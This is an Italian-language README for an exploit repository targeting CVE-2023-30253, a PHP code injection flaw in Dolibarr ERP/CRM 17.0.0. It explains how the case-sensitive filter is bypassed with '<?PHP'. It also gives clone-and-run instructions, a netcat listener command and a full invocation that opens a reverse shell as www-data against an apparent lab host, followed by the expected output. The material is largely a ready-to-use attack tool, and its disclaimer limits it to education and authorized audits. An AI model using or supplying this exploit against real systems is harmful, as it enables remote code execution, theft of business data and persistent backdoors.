CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Exploit di iniezione di codice PHP per Dolibarr ERP/CRM v17.0.0 che permette di ottenere una shell inversa come utente www-data tramite il modulo Website/CMS.

⚠️ Solo per uso educativo e audit autorizzati.

---

📑 Indice

• Che cos'è CVE-2023-30253?
• Come funziona la vulnerabilità?
• Impatto
• Cosa fa questo exploit?
• Requisiti
• Installazione
• Utilizzo
• Esempio pratico
• L'exploit passo dopo passo
• Mitigazione
• Riferimenti

---

🔍 Che cos'è CVE-2023-30253?

CVE-2023-30253 è una vulnerabilità di iniezione di codice PHP (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM versioni precedenti alla 17.0.1.

È stata scoperta e segnalata dal team di Swascan (ora Hacktivesecurity) a maggio 2023. La vulnerabilità risiede nel modulo Website/CMS, che permette a utenti autenticati di creare e gestire siti web all'interno di Dolibarr.

Campo	Valore
CVE	CVE-2023-30253
CVSS v3.1	8.8 (ALTO)
Vector	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Tipo	CWE-94 — Code Injection
Software affetto	Dolibarr ERP/CRM < 17.0.1
Privilegi	Utente autenticato (qualsiasi ruolo)
Patch	Dolibarr 17.0.1 — commit 4f6055c

---

⚙️ Come funziona la vulnerabilità?

Dolibarr implementa un filtro per impedire agli utenti di iniettare codice PHP nel contenuto delle pagine del modulo Website. Tuttavia, questo filtro ha un difetto critico: è case-sensitive.

// Codice vulnerabile (semplificato) in Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Blocca solo "<?php" in minuscolo esatto... o no?
    die("PHP code detected!");
}

Il filtro cerca letteralmente la stringa <?php in minuscolo. Ma PHP permette qualsiasi combinazione di maiuscole e minuscole per il tag di apertura. Questo significa che:

Tag	Filtrato?	Eseguito da PHP?
<?php ... ?>	✅	✅
<?PHP ... ?>	❌	✅
<?Php ... ?>	❌	✅
<?pHp ... ?>	❌	✅

L'exploit usa <?PHP (in maiuscolo) per bypassare il filtro, ma qualsiasi variazione funziona.

Inoltre, il filtro si applica solo al momento del salvataggio del contenuto. Durante la pubblicazione della pagina, Dolibarr passa il contenuto senza ulteriore sanificazione all'interprete PHP, che esegue qualsiasi codice con il tag di apertura <?.

---

💥 Impatto

Un attaccante autenticato può:

• Esecuzione remota di comandi (RCE) sul server
• Accedere al database di Dolibarr (clienti, fatture, utenti)
• Leggere file sensibili del sistema (/etc/passwd, configurazione)
• Usare il server come punto di pivot per attacchi interni
• Installare malware, webshell o backdoor persistenti

Perché è critico? Dolibarr è usato come ERP/CRM aziendale. Un'intrusione può esporre dati di clienti, finanze, contratti e credenziali interne.

---

🛠️ Cosa fa questo exploit?

L'exploit automatizza l'intero processo di sfruttamento in 5 passi:

┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → Autenticarsi in Dolibarr           │
│  2. Create Website → Creare un sito web vuoto           │
│  3. Create Page    → Creare una pagina nel sito         │
│  4. Inject Shell   → Iniettare PHP reverse shell        │
│  5. Trigger        → Eseguire il payload                │
│                                                         │
│  Risultato: 🎯 Shell inversa come www-data              │
└─────────────────────────────────────────────────────────┘

Caratteristiche:

• ✅ Gestione automatica dei token anti-CSRF
• ✅ Sessione persistente con cookie
• ✅ Rilevamento automatico del pageid
• ✅ Modalità verbose per debug
• ✅ Output a colori (disattivabile)
• ✅ Payload di reverse shell tramite fsockopen + proc_open

---

📋 Requisiti

• Python 3.8+
• requests
• beautifulsoup4

O semplicemente:

pip install -r requirements.txt

---

📦 Installazione

# Clonare il repository
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Installare le dipendenze
pip install -r requirements.txt

---

🚀 Utilizzo

python exploit.py <target> <username> <password> <lhost> <lport> [opzioni]

Argomenti posizionali:

Argomento	Descrizione	Esempio
target	URL base di Dolibarr	http://crm.board.htb
username	Utente Dolibarr	admin
password	Password Dolibarr	admin
lhost	Il tuo IP (dove riceverai la shell)	10.10.14.5
lport	La tua porta (dove riceverai la shell)	4444

Opzioni:

Opzione	Descrizione
-v, --verbose	Mostra informazioni dettagliate di debug
--no-color	Disattiva i colori nell'output
-h, --help	Mostra l'aiuto e gli esempi

---

🎯 Esempio pratico

Terminale 1 — Avviare il listener per la shell inversa

nc -lvnp 4444

Terminale 2 — Eseguire l'exploit

python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

Output atteso

════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Passo 1/5: Avvio della sessione...
[10:45:12]   ✓ Sessione avviata correttamente

[10:45:13] Passo 2/5: Creazione del sito web...
[10:45:13]   ✓ Sito web 's3a1f2bc' creato

[10:45:13] Passo 3/5: Creazione della pagina nel sito...
[10:45:13]   ✓ Pagina creata all'interno del sito

[10:45:14] Passo 4/5: Iniezione della reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Codice PHP iniettato con successo

[10:45:14] Passo 5/5: Esecuzione del payload (trigger)...

════════════════════════════════════════════════════════
  SFRUTTAMENTO COMPLETATO
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc